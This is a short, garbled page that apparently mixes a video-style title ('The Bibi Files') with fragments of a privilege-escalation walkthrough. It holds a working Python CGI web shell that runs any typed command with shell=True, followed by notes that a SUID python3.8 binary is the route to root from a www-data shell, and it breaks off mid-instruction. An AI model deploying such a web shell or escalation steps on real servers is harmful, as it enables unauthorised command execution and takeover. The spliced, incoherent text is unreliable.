Hdthe Bibi Files 〈360p〉

The Bibi Files: Confidential

#!/usr/bin/env python3 import os, subprocess, sys print("Content-Type: text/plain\n") while True: cmd = input("cmd> ") if not cmd: break out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) print(out.decode())

5.2. Access the user’s files

strings /usr/bin/python3.8 | grep -i "bibi" HDThe Bibi Files

python3.8

The binary is SUID! That is unusual and the key to root. The Bibi Files: Confidential #

From the www-data shell, run: